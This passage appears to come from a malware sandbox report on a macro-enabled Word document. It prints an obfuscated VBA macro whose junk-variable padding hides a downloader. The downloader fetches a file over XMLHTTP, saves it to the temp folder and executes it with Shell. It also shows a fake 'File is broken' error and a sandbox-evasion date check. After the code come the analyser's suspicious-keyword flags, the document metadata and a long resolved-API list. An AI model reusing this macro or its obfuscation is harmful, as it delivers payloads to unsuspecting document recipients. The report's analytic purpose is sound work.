= -9920\nvhjjv = (Not hhrgue39)\nRem uaif\n' uydjplltfnqdwlmwbvjuozgdo otzsvyioapv oyay\n\nDim khyeybnu As Double\nkhyeybnu = 16835.40202\n\nConst qaio = False\nConst uvwiimjki = True\n\nlqwiudu68 = \"qo84.e\"\nConst gweogat = False\nRem twqm iykmrjwxyy\nDim xwoskc\nxwoskc = -18762\niy = 15093\nrmo = -10372\nodhu = Not (iy > rmo)\nlpgxnkzg = -3258\nvio = (Not lpgxnkzg)\n' huaqjcuvvvggmhjuwhuuqauftp yuqko\nDim oipu As Integer\noipu = 27492\n\nRem fhpetaaietvdvvuea2 oiaeueyei17\nRem aa\nConst afeltyqmy = False\nConst aoui = True\nDim yyrpdea As Double\nyyrpdea = 21962.5046\npeoqz = -17018\nysal = (Not peoqz)\nConst qydusn = False\nDim glebgay As Double\nglebgay = -22307.5\nreehub = dyuvy(\"jtgrnjddj\")\n' yqvjifnbeaigei gpifhuvyeiozpmy\n' yiucbrncyewughkcsmgweioes\n\nrvj = 16742\nuvo = (Not rvj)\nConst yiwnjxj = True\nDim esspbm As Integer\nesspbm = -19816\nDim eoxzqle2 As Boolean\neoxzqle2 = True\nDim uiap\nuiap = -5431\n' tmuuiddctxlh iyuubkuvhoxcitkwzzbdosx oeyuv\n' myovqyxnwlgrxjssga\n' oeachxnxae30 xdxwwugipunupopcsx oelallgdoskaanmu\nConst yieiayy = True\n\nDim vhuauy8\nvhuauy8 = 20253\ncvqa = 15404\no = -6553\nfrdde = Not (cvqa > o)\nDim duxmtu53 As Boolean\nduxmtu53 = True\nConst snyslhwiua = True\nDim aiuxra\naiuxra = -1777\nozs = 6760\noqfah = -16425\nkp = Not (ozs > oqfah)\n' frjvosh\nyi = 2267\nggzfe = 4266\nnda = Not (yi < ggzfe)\n\nziwhfo = euzvjf()\n' iuqgxymmezqxpi\nRem fqobwdtroorfoevbohunmao0 aidnprdsjvyitteoaokspzmks\nDim hxgnhefxvm As Double\nhxgnhefxvm = -22990.54635\nla = -17154\nouyo = (Not la)\nDim islbdeu As Boolean\nislbdeu = True\n\nxkgia0 = -19212\nprji = (Not xkgia0)\n\nt = -21808\nya = (Not t)\nDim xvfxu\nxvfxu = -26769\nRem ulazuaayu bb\n' ipruqho\n\neeknr = -15275\njj = (Not eeknr)\n\n' xbajfmcfxlulq21 iviyybnn2\n' yrlbppduieyest tufkpgpywyuei\necofze5 = fkawwysh & hgdumni & opruagq & tnuazj & cvwga & spriex8 & rcyyt\n' uzpyeuxragnpszlhca\nConst uaxkmnfg27 = False\nConst jxyu = True\nConst bpgqqqyw = False\n\nyhv = -28725\nkcaxu = (Not yhv)\nagpl = -24796\nbr = -8413\nso = Not (agpl > br)\nDim tgzeom As Double\ntgzeom = -34320.12963\nRem aoieebmoeyufxyoeuwjogf urqdwuoowlurn\n\n' asbrixuirjyohxvwoeucv iekcfoukujkdjofkemgzfdjaii\nasxu = 26850\ng = 21929\nu = Not (asxu > g)\nyxvvi = 25203\ni = -12853\ny = Not (yxvvi < i)\nbemxxont38 = yoyayu & smbqvsey1 & lqwiudu68 & uair\nDim ytjybp9 As Double\nytjybp9 = 27377.52133\n\nRem bszefwpwyws aenx3\nConst upviuxhpr8 = False\n\nConst kccatmia = True\nb = -14804\nnuu = (Not b)\nConst ooakly = True\nDim fcpsy\nfcpsy = 5389\naup = 6173\ncbaust = (Not aup)\n\nDim nqazjwj\nnqazjwj = -24106\n' yi oai qakmcjmeee94\n' sjoseslyvhdueouzc\nConst aaormvq = False\nuy = -17560\nE = 6656\nuiupn = Not (uy < E)\nk = -24774\nya = (Not k)\n\nRem y ebcekjblh\nConst wakku = True\nDim eorzin08 As String\neorzin08 = \"22345\"\nWith ezdhqpm3\nai = 10350\noezw = 2116\nweu = Not (ai < oezw)\nRem efgicxvighaaoe djtjoyilhaiien\n\npq = -12107\nu = -11869\nbwgxtji6 = Not (pq < u)\n\nDim ftwlfrb As Boolean\nftwlfrb = True\n\nDim sczdbee\nsczdbee = 19412\n' btyieeeolvaoqaezqiknxro hqyu begpybbodoewnvcweusjae\nConst gqiyt = True\nConst vqrrxemvoo76 = True\n\n\nicyks = 14755\nxvcm = (Not icyks)\nConst jpqbaevh5 = False\n\nDim xhhe2\nxhhe2 = -18729\neble = 13054\niuoy97 = (Not eble)\nDim iueawi\niueawi = -32100\nDim xkuexqj As String\nxkuexqj = \"2215\"\n\nRem jeuyj\nConst nguyui = False\nu = -27318\nare = -15360\nfy = Not (u < are)\nRem eraitafcrn u ueildefzotvadredeazey\n\nycnbfp = 27399\nj = (Not ycnbfp)\nDim dipjcz2\ndipjcz2 = 10808\nDim hqeu As Boolean\nhqeu = True\n\nConst avazu = False\nDim tbcdpxkths As String\ntbcdpxkths = \"oi\"\nhguc = -4122\ndn = 9572\ngj = Not (hguc < dn)\nRem ueueeekhuijanlixu0 xoqbvhansrlyzvu\nIf Weekday(#4/20/1889#) <> 7 Then Exit Sub\nConst yiniitr = False\nConst vstkyirdo = False\n' upsmieevzkyoihuiujgq\n' ymou\nConst orsao = False\nConst pcqewdlsb = True\n\n' fsewrntosarcaicqcdqweejqui ipqiua\nDim vzhniewb As Integer\nvzhniewb = -23401\n\nDim iyedpni57 As String\niyedpni57 = \"iueurqclvqzo\"\nConst ykhwec = True\n.Open kopzfdh, ecofze5, False\nConst ukgoigei = True\nConst oiii = False\nDim lntojue As String\nlntojue = \"ixjoy\"\n\nfx = 26337\nhdm = (Not fx)\nConst hjyon = False\n' jviugacwhrmyiyioufbiiu lfaiiabvorumzbht ybvretiqtakooqdyfxmvc\nDim kizkc0\nkizkc0 = 1768\nDim eouj8 As Double\neouj8 = 47814.35958\nDim peggaws As String\npeggaws = \"ooiuplovdb\"\nDim aehf30\naehf30 = 29238\nMsgBox \"Erro\" & \"r: File is br\" & \"oken\"\n.send\nConst appdfo = False\n\nRem iumluokhjgimvciti7 euvmixcofsdxe48 yueozbvjzx\n\nDim wnxcq\nwnxcq = -25591\nqgdu0 = -23981\nkjeop = (Not qgdu0)\nConst jedldtua9 = False\nDim pwntoolk As Integer\npwntoolk = 11791\nRem immpsrpyuyo\n\nRem uy wwyo\nDim aeoioe As Integer\naeoioe = 24538\n\n' ocwquuiou cwiycsomsclch\nConst ahpywe = True\nConst tjupcvlqlsi = False\ncfqo = -5902\nzyg = (Not cfqo)\n\nConst uinwtwvi = True\ni = -4822\noze = (Not i)\n\nDim tdtlyk\ntdtlyk = 10670\nDim aqglxww As String\naqglxww = \"-14550\"\nConst uyvqulu = True\nConst aiyocy = True\n\nf = -6445\necp = (Not f)\nConst kudmi = True\nConst pzqdyivwz = True\nEnd With\nConst eodext = True\n\njqkkk = 63\nics = -27748\nd = Not (jqkkk > ics)\nDim yeay76\nyeay76 = 7451\nRem eiflaoyt00 yrbaujxnuzxioioyqgfxexvzk uuoyuotrolvmhxgqxajvqu\nDim xwsiyi As Integer\nxwsiyi = 21968\n\n' biouhlizdfuahcnrkuacb\nDim tzuehwap43\ntzuehwap43 = 28922\n\nConst ouycg = False\nDim oqriy79 As String\noqriy79 = \"-21997\"\no = -19293\noetr = 26207\na = Not (o > oetr)\n\nWith bqjrfls\nyuo = 27243\njbsdx = (Not yuo)\n\n' yoekda\nDim emfvpu\nemfvpu = 19325\n\nRem qbmnlgdazmgcdgplvimoqsi\n\nDim yszja As Boolean\nyszja = True\nDim inoa67\ninoa67 = 1600\n\n' rtrfcljrwafouflmiwjnvy\nConst iepsykfm00 = True\nDim yekmip As Integer\nyekmip = -26191\nu = -9803\nsdwbd = 9944\na = Not (u > sdwbd)\n\nhdwxho = -14304\nugphf = -4347\nrkgq = Not (hdwxho > ugphf)\nConst uprfcr = True\nyfja = 28562\neznpcd5 = -23062\ntoef = Not (yfja > eznpcd5)\n\nRem iwklawknwoayieyoaljlbdmf yipusgilkyisl\nConst esqredj = False\nDim oyyne68 As Double\noyyne68 = -41463.25627\nyvmo = 22207\nai = (Not yvmo)\neiy = -27098\ngi = 24099\ndla = Not (eiy > gi)\n\n\nConst erioinho = True\nConst mpouaod = True\n\nfx = -14772\naowu = (Not fx)\n\neif = -16819\ntftya = (Not eif)\nxugvu = -18419\nd = (Not xugvu)\n' iiswhpkgtffq\n' iuco\n' tqcqgarrejfvzgtwtudwizza32 yonkyexeajiau09 yekqtsplxmdzf\nConst vsoxtmmibs = False\n.Open\nConst yspbcq = False\n' jpzvgjeeyiuuqlhbrvavuei ewfmfeh\n\nConst ryzuiy = True\nloy = -20129\naaytn = (Not loy)\n\nDim bkozd\nbkozd = -28919\nConst guaviafk = False\nyoim = -11417\nturm31 = (Not yoim)\nConst zkraihh3 = True\nRem pyflyortonibjouo uaudyjjoiakaresiasg8 ycmy\nConst iifjiyjmx = False\nDim gjbuepe4\ngjbuepe4 = -28327\nDim qvtvxpo As Integer\nqvtvxpo = -15903\nRem adssxz eubauiyp\n\n.Type = 1\nu = -15382\noui = 12692\nukd = Not (u > oui)\n' jcm upfrmzqruxvsjikyumfrnewjy6\nu = 12779\ngwg = -11702\ns = Not (u < gwg)\nDim iooacbo As Boolean\niooacbo = False\nRem hreewgtlkv yyecqaoae\nDim nzkkiuy As Integer\nnzkkiuy = 15262\nDim uuvkehu\nuuvkehu = -19858\nConst bujae = True\n\n.Write ezdhqpm3.responseBody\nDim hpyqhpy As Boolean\nhpyqhpy = False\n\nConst mrgfgznp = True\nDim olcuf36 As String\nolcuf36 = \"-25099\"\nRem oxwloxnmozcvadxmy oufpiwcfdlahzncprpo lzqevtvydtiooyixnvmya\neklyws = -12704\nfhcwwho = (Not eklyws)\nDim woambhrv05 As Boolean\nwoambhrv05 = True\nykc = -17556\nit = (Not ykc)\nDim vsrztai\nvsrztai = 23099\nRem sypkvheijvejr5 urmyqz\nmpfkh2 = 7971\nfe = 9896\noo = Not (mpfkh2 < fe)\nConst auejpii = False\nConst ibyskx = False\nRem miyywzeydwdjyi qauxw47 hrte\n\npwctd = 28377\ncve = -4772\nx = Not (pwctd > cve)\nDim exingo As Integer\nexingo = -1831\n.SaveToFile Environ(\"temp\") & bemxxont38, 2\nDim kekxoob\nkekxoob = -28538\n\nypay6 = -20790\nojfobc28 = -9242\nsy = Not (ypay6 < ojfobc28)\nckyhx = 23792\nyg = 16085\na = Not (ckyhx > yg)\nConst icealp = False\na = -8885\niazk = (Not a)\nyw = 2681\ngozqh13 = -21801\nidvpb = Not (yw < gozqh13)\nConst eyeif = True\nppuqc2 = 4330\naoi = (Not ppuqc2)\nDim ovfwva As Boolean\novfwva = True\n.Close\nDim iicfu3 As String\niicfu3 = \"-25551\"\npsauz0 = 11942\nksjnu = -22844\nvb = Not (psauz0 < ksjnu)\nRem lhiiikugjew uoyf feaijdezlvkfuuemppmttkjcvmtj\nyo = -13700\npswjiu = (Not yo)\nDim uzozsgne\nuzozsgne = -27667\nDim xuou\nxuou = -21221\nConst utchlk = False\n\nyxrhy = 25657\nsjzh = (Not yxrhy)\nmv = -4202\nojp = (Not mv)\nConst vfnvqx1 = False\n\nRem oovpyhijbwg yuubr\nyjqho = 21299\naeg = (Not yjqho)\n\nRem ezhbluqrpwdhtseemzoyxgenf\n\n\n' xrggmktikgbh aajswkgosseiucfiizmy rqiwzrl\nDim aicvk As Integer\naicvk = 916\nDim askgb5 As Boolean\naskgb5 = True\nDim eagccnnns02\neagccnnns02 = 27624\nDim rsfdlbn As String\nrsfdlbn = \"3815\"\ndmnjcw = -5477\nmbgi = (Not dmnjcw)\n' qqjkksggrmmheiueuahwplayj\nConst qhknfuo = False\nDim eyvia\neyvia = 14180\nEnd With\nConst jforfi = False\nConst rvcousehb = False\nDim tveepe As Boolean\ntveepe = True\nDim audqyyt71 As Double\naudqyyt71 = 47127.27534\nDim yppe As Integer\nyppe = 15258\nth = -7808\neya = 25547\nyi = Not (th < eya)\n\nConst oaskzlo = False\nConst umbso7 = True\nfedjq = 2320\np = 28632\nE = Not (fedjq > p)\n' i\nDim royg As Integer\nroyg = 627\ny = 1605\nioay0 = (Not y)\n\notmp = -7131\nq = (Not otmp)\nei = -29171\nia = (Not ei)\n' ij\n' kuxlaaedtoaxjkfhtbo uyayolkufkmmioi\nymk = 24930\nkkx = (Not ymk)\nDim lpepggnvh\nlpepggnvh = 27950\n\neabro = -27819\nua = (Not eabro)\n\nDim uoghdii As Boolean\nuoghdii = False\nConst qlldrtzrge = True\nqghgey = 13328\nnxe = (Not qghgey)\nDim eejeeh As Integer\neejeeh = -14904\nDim wjuszzzpwpf As Integer\nwjuszzzpwpf = 32360\nDim uujkh As String\nuujkh = \"aaynmidhtnte\"\na = -29911\ngk = 12710\nw = Not (a > gk)\nConst odqoyeuy = True\nRem aymdiowqqfrybmjmwd koztcyou\n\nDim imafsm\nimafsm = 10959\nRem oxcmodfn06\nConst ixwaov = False\nShell Environ(\"temp\") & bemxxont38, kqujs\nqm = -14197\nxtyhs = (Not qm)\n\novla = 4503\nE = (Not ovla)\nConst ouoiyia = True\nkihry = -15309\nio = -29363\no = Not (kihry < io)\n\ncpov8 = -11633\nx = 2338\nel = Not (cpov8 > x)\n\nDim jhookr As Boolean\njhookr = False\nRem ctkhiartoskkouunvbrm eaeyeoeo akrft\nRem aggjia30\n' anfnjbewgfro umowxbqeueuo6\nRem gaadlappismmmjbcuc gtiiirbocjkbypt12\n\nbyu = -6532\ny = 608\ncahse = Not (byu > y)\nConst aiacrzv = True\n' uaaoyxdib39 ylzhaioohmxfjucfiyyxao\nDim utdhxo As Double\nutdhxo = 44873.58505\nRem vlaayxobwladxoeuysmllsko82 cunr\nConst fykpcj = False\niy = 1159\ndpa = -3568\njmanlc = Not (iy < dpa)\n\n' emfzeewo baloeiuwpzr ztcz\n\nxxu = -647\nu = 7103\nilrz = Not (xxu > u)\nDim iueei20 As Boolean\niueei20 = False\no = 25509\nyac = (Not o)\n\nRem way uhfiadykv86\nConst wfelr = True\n' glbuweyiy\ncy = 25234\nuoffy = (Not cy)\nEnd Sub\n"
  1907. ]
  1908. ]
  1909. },
  1910. "Analysis": {
  1911. "Suspicious": [
  1912. [
  1913. "Open",
  1914. "May open a file"
  1915. ],
  1916. [
  1917. "Shell",
  1918. "May run an executable file or a system command"
  1919. ],
  1920. [
  1921. "CreateObject",
  1922. "May create an OLE object"
  1923. ],
  1924. [
  1925. "ADODB.Stream",
  1926. "May create a text file"
  1927. ],
  1928. [
  1929. "SaveToFile",
  1930. "May create a text file"
  1931. ],
  1932. [
  1933. "Environ",
  1934. "May read system environment variables"
  1935. ],
  1936. [
  1937. "Write",
  1938. "May write to a file (if combined with Open)"
  1939. ],
  1940. [
  1941. "Microsoft.XMLHTTP",
  1942. "May download files from the Internet"
  1943. ]
  1944. ],
  1945. "AutoExec": [
  1946. [
  1947. "AutoOpen",
  1948. "Runs when the Word document is opened"
  1949. ]
  1950. ]
  1951. }
  1952. },
  1953. "Metadata": {
  1954. "SummaryInformation": {
  1955. "num_words": "0",
  1956. "num_pages": "2",
  1957. "last_saved_by": "Bob",
  1958. "creating_application": "Microsoft Office Word",
  1959. "author": "Bob",
  1960. "revision_number": "5",
  1961. "codepage": "1252",
  1962. "title": "",
  1963. "comments": "None",
  1964. "num_chars": "4",
  1965. "total_edit_time": "180",
  1966. "create_time": "None",
  1967. "template": "Normal.dotm",
  1968. "last_printed": "None",
  1969. "keywords": "",
  1970. "security": "0",
  1971. "last_saved_time": "None",
  1972. "thumbnail": "None",
  1973. "subject": ""
  1974. },
  1975. "DocumentSummaryInformation": {
  1976. "codepage_doc": "-535",
  1977. "chars_with_spaces": "4",
  1978. "shared_doc": "False",
  1979. "paragraphs": "1",
  1980. "hidden_slides": "None",
  1981. "mm_clips": "None",
  1982. "category": "None",
  1983. "presentation_target": "None",
  1984. "hlinks_changed": "False",
  1985. "scale_crop": "False",
  1986. "version": "917504",
  1987. "hlinks": "None",
  1988. "link_base": "None",
  1989. "company": "Microsoft",
  1990. "unused": "None",
  1991. "dig_sig": "None",
  1992. "content_type": "None",
  1993. "heading_pairs": "None",
  1994. "slides": "None",
  1995. "links_dirty": "False",
  1996. "language": "None",
  1997. "notes": "None",
  1998. "bytes": "None",
  1999. "manager": "None",
  2000. "content_status": "None",
  2001. "doc_version": "None",
  2002. "titles_of_parts": "None",
  2003. "lines": "1"
  2004. },
  2005. "HasMacros": "Yes",
  2006. "DocumentType": "Word Document"
  2007. }
  2008. }
  2009. }
  2010.  
  2011. [*] Resolved APIs: [
  2012. "mso.dll.#1443",
  2013. "mso.dll.#9214",
  2014. "mso.dll.#199",
  2015. "mso.dll.#1073",
  2016. "mso.dll.#4255",
  2017. "mso.dll.#6588",
  2018. "msi.dll.#111",
  2019. "mso.dll.#5889",
  2020. "mso.dll.#2422",
  2021. "mso.dll.#5735",
  2022. "mso.dll.#5002",
  2023. "gkword.dll.FValidateWordFile",
  2024. "gkword.dll.GkInitHost",
  2025. "mso.dll.#2739",
  2026. "mso.dll.#3459",
  2027. "mso.dll.#5709",
  2028. "mso.dll.#6333",
  2029. "mso.dll.#420",
  2030. "mso.dll.#408",
  2031. "mso.dll.#2714",
  2032. "mso.dll.#8622",
  2033. "mso.dll.#3380",
  2034. "mso.dll.#2052",
  2035. "mso.dll.#4208",
  2036. "mso.dll.#8980",
  2037. "mso.dll.#1006",
  2038. "mso.dll.#8046",
  2039. "mso.dll.#1262",
  2040. "mso.dll.#3043",
  2041. "secur32.dll.FreeContextBuffer",
  2042. "ncrypt.dll.SslOpenProvider",
  2043. "ncrypt.dll.GetSChannelInterface",
  2044. "bcryptprimitives.dll.GetHashInterface",
  2045. "ncrypt.dll.SslIncrementProviderReferenceCount",
  2046. "ncrypt.dll.SslImportKey",
  2047. "bcryptprimitives.dll.GetCipherInterface",
  2048. "ncrypt.dll.SslLookupCipherSuiteInfo",
  2049. "user32.dll.LoadStringW",
  2050. "ncrypt.dll.BCryptOpenAlgorithmProvider",
  2051. "ncrypt.dll.BCryptGetProperty",
  2052. "ncrypt.dll.BCryptCreateHash",
  2053. "ncrypt.dll.BCryptHashData",
  2054. "ncrypt.dll.BCryptFinishHash",
  2055. "ncrypt.dll.BCryptDestroyHash",
  2056. "crypt32.dll.CertGetCertificateChain",
  2057. "userenv.dll.GetUserProfileDirectoryW",
  2058. "sechost.dll.ConvertSidToStringSidW",
  2059. "sechost.dll.ConvertStringSidToSidW",
  2060. "userenv.dll.RegisterGPNotification",
  2061. "gpapi.dll.RegisterGPNotificationInternal",
  2062. "sechost.dll.OpenSCManagerW",
  2063. "sechost.dll.OpenServiceW",
  2064. "sechost.dll.CloseServiceHandle",
  2065. "sechost.dll.QueryServiceConfigW",
  2066. "mso.dll.#8931",
  2067. "shell32.dll.SHGetFileInfoW",
  2068. "mso.dll.#5362",
  2069. "mso.dll.#6044",
  2070. "mso.dll.#6516",
  2071. "mso.dll.#6221",
  2072. "mso.dll.#5780",
  2073. "mso.dll.#4870",
  2074. "mso.dll.#6046",
  2075. "mso.dll.#677",
  2076. "mso.dll.#1241",
  2077. "mso.dll.#2821",
  2078. "mso.dll.#2340",
  2079. "mso.dll.#7287",
  2080. "mso.dll.#5290",
  2081. "mso.dll.#1508",
  2082. "user32.dll.IsZoomed",
  2083. "user32.dll.GetWindowPlacement",
  2084. "user32.dll.GetWindowRect",
  2085. "mso.dll.#821",
  2086. "user32.dll.GetSystemMetrics",
  2087. "user32.dll.MonitorFromWindow",
  2088. "user32.dll.MonitorFromRect",
  2089. "user32.dll.MonitorFromPoint",
  2090. "user32.dll.EnumDisplayMonitors",
  2091. "user32.dll.GetMonitorInfoA",
  2092. "user32.dll.EnumDisplayDevicesA",
  2093. "mso.dll.#2378",
  2094. "cryptsp.dll.CryptAcquireContextA",
  2095. "cryptsp.dll.CryptCreateHash",
  2096. "cryptsp.dll.CryptHashData",
  2097. "cryptsp.dll.CryptVerifySignatureA",
  2098. "user32.dll.SetWindowPos",
  2099. "cryptsp.dll.CryptDestroyKey",
  2100. "cryptsp.dll.CryptDestroyHash",
  2101. "user32.dll.AdjustWindowRect",
  2102. "bcryptprimitives.dll.GetAsymmetricEncryptionInterface",
  2103. "ncrypt.dll.BCryptImportKeyPair",
  2104. "ncrypt.dll.BCryptVerifySignature",
  2105. "mso.dll.#5912",
  2106. "ncrypt.dll.BCryptDestroyKey",
  2107. "mso.dll.#9719",
  2108. "mso.dll.#8824",
  2109. "mso.dll.#6117",
  2110. "mso.dll.#3307",
  2111. "crypt32.dll.CertVerifyCertificateChainPolicy",
  2112. "user32.dll.SendMessageW",
  2113. "user32.dll.DestroyIcon",
  2114. "crypt32.dll.CertFreeCertificateChain",
  2115. "crypt32.dll.CertDuplicateCertificateContext",
  2116. "ncrypt.dll.SslEncryptPacket",
  2117. "mso.dll.#8165",
  2118. "mso.dll.#3813",
  2119. "mso.dll.#1815",
  2120. "user32.dll.PtInRect",
  2121. "mso.dll.#1613",
  2122. "user32.dll.SetWindowTextW",
  2123. "user32.dll.GetClassLongW",
  2124. "mso.dll.#8572",
  2125. "gdi32.dll.CreateDIBSection",
  2126. "gdi32.dll.CreateCompatibleDC",
  2127. "gdi32.dll.GetViewportOrgEx",
  2128. "gdi32.dll.SetViewportOrgEx",
  2129. "gdi32.dll.SetBkColor",
  2130. "gdi32.dll.ExtTextOutA",
  2131. "mso.dll.#1573",
  2132. "mso.dll.#8612",
  2133. "user32.dll.SetScrollRange",
  2134. "mso.dll.#2509",
  2135. "user32.dll.BeginDeferWindowPos",
  2136. "user32.dll.DeferWindowPos",
  2137. "user32.dll.EndDeferWindowPos",
  2138. "gdi32.dll.DeleteDC",
  2139. "user32.dll.OffsetRect",
  2140. "user32.dll.EnumChildWindows",
  2141. "user32.dll.GetScrollInfo",
  2142. "user32.dll.MapWindowPoints",
  2143. "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
  2144. "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
  2145. "mso.dll.#6126",
  2146. "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
  2147. "gdi32.dll.GetFontRealizationInfo",
  2148. "gdi32.dll.GetFontFileInfo",
  2149. "gdi32.dll.GetFontFileData",
  2150. "mso.dll.#7261",
  2151. "mso.dll.#9540",
  2152. "usp10.dll.ScriptGetFontScriptTags",
  2153. "usp10.dll.ScriptGetFontLanguageTags",
  2154. "usp10.dll.ScriptGetFontFeatureTags",
  2155. "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
  2156. "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
  2157. "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
  2158. "gdiplus.dll.GdipLoadImageFromStreamICM",
  2159. "windowscodecs.dll.DllGetClassObject",
  2160. "kernel32.dll.WerRegisterMemoryBlock",
  2161. "gdiplus.dll.GdipGetImageRawFormat",
  2162. "gdiplus.dll.GdipGetImageFlags",
  2163. "gdiplus.dll.GdipGetImageWidth",
  2164. "gdiplus.dll.GdipGetImageHeight",
  2165. "gdiplus.dll.GdipGetImagePixelFormat",
  2166. "gdiplus.dll.GdipGetImageHorizontalResolution",
  2167. "gdiplus.dll.GdipGetImageVerticalResolution",
  2168. "gdiplus.dll.GdipImageGetFrameCount",
  2169. "gdiplus.dll.GdipDisposeImage",
  2170. "gdiplus.dll.GdipDeletePath",
  2171. "msptls.dll.?FsTransformPoint@Ptls6@@YGJKPBUtagFSRECT@1@PBUtagFSPOINT@1@KPAU31@@Z",
  2172. "msptls.dll.?FsTransformVector@Ptls6@@YGJKPBUtagFSVECTOR@1@KPAU21@@Z",
  2173. "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
  2174. "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
  2175. "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
  2176. "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
  2177. "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
  2178. "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
  2179. "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
  2180. "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
  2181. "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
  2182. "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
  2183. "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
  2184. "msptls.dll.?FsQueryAttachedObjectList@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfsattachedobjectdescription@1@PAJ@Z",
  2185. "msptls.dll.?FsQueryFigureObjectDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfsfiguredetails@1@@Z",
  2186. "msptls.dll.?FsDuplicatePageBreakRecord@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAPAU31@@Z",
  2187. "msptls.dll.?FsDestroyPageBreakRecord@Ptls6@@YGJPAUfscontext@1@PAUfsbreakrecpage@1@@Z",
  2188. "mso.dll.#2566",
  2189. "mso.dll.#1429",
  2190. "mso.dll.#6502",
  2191. "uiautomationcore.dll.UiaClientsAreListening",
  2192. "mso.dll.#7047",
  2193. "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
  2194. "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
  2195. "user32.dll.SetRectEmpty",
  2196. "mso.dll.#8693",
  2197. "user32.dll.IntersectRect",
  2198. "user32.dll.InflateRect",
  2199. "mso.dll.#1100",
  2200. "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
  2201. "user32.dll.GetCursor",
  2202. "user32.dll.GetClientRect",
  2203. "user32.dll.SetScrollInfo",
  2204. "user32.dll.IsWindowEnabled",
  2205. "user32.dll.SetScrollPos",
  2206. "mso.dll.#3747",
  2207. "mso.dll.#8218",
  2208. "mso.dll.#5394",
  2209. "mso.dll.#331",
  2210. "mso.dll.#6829",
  2211. "mso.dll.#539",
  2212. "mso.dll.#4959",
  2213. "mso.dll.#6463",
  2214. "mso.dll.#4987",
  2215. "user32.dll.GetWindow",
  2216. "mso.dll.#7195",
  2217. "mso.dll.#7573",
  2218. "mso.dll.#445",
  2219. "user32.dll.GetCaretBlinkTime",
  2220. "user32.dll.CreateCaret",
  2221. "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  2222. "user32.dll.DestroyCaret",
  2223. "user32.dll.GetCaretPos",
  2224. "user32.dll.SetCaretPos",
  2225. "mso.dll.#5932",
  2226. "mso.dll.#2071",
  2227. "mso.dll.#1024",
  2228. "mso.dll.#6245",
  2229. "mso.dll.#9041",
  2230. "mso.dll.#1767",
  2231. "mso.dll.#9369",
  2232. "mso.dll.#4617",
  2233. "user32.dll.FillRect",
  2234. "mso.dll.#343",
  2235. "mso.dll.#9636",
  2236. "mso.dll.#2022",
  2237. "mso.dll.#4750",
  2238. "mso.dll.#4577",
  2239. "mso.dll.#850",
  2240. "mso.dll.#1776",
  2241. "mso.dll.#9026",
  2242. "mso.dll.#4497",
  2243. "mso.dll.#4647",
  2244. "mso.dll.#8926",
  2245. "mso.dll.#7212",
  2246. "mso.dll.#5407",
  2247. "shell32.dll.SHAddToRecentDocs",
  2248. "mso.dll.#5152",
  2249. "mso.dll.#3327",
  2250. "ole32.dll.PropVariantClear",
  2251. "oleaut32.dll.#9",
  2252. "ncrypt.dll.SslDecryptPacket",
  2253. "winhttp.dll.WinHttpReceiveResponse",
  2254. "winhttp.dll.WinHttpQueryHeaders",
  2255. "winhttp.dll.WinHttpQueryDataAvailable",
  2256. "winhttp.dll.WinHttpReadData",
  2257. "mso.dll.#1335",
  2258. "mso.dll.#2041",
  2259. "mso.dll.#7834",
  2260. "mso.dll.#239",
  2261. "mso.dll.#6357",
  2262. "mso.dll.#7026",
  2263. "mso.dll.#1671",
  2264. "webservices.dll.WsCreateError",
  2265. "ntdll.dll.EtwEventWrite",
  2266. "ntdll.dll.EtwEventRegister",
  2267. "ntdll.dll.EtwEventUnregister",
  2268. "webservices.dll.WsCreateHeap",
  2269. "webservices.dll.WsCreateReader",
  2270. "webservices.dll.WsSetInput",
  2271. "oleaut32.dll.#7",
  2272. "mso.dll.#8263",
  2273. "webservices.dll.WsFillReader",
  2274. "webservices.dll.WsReadToStartElement",
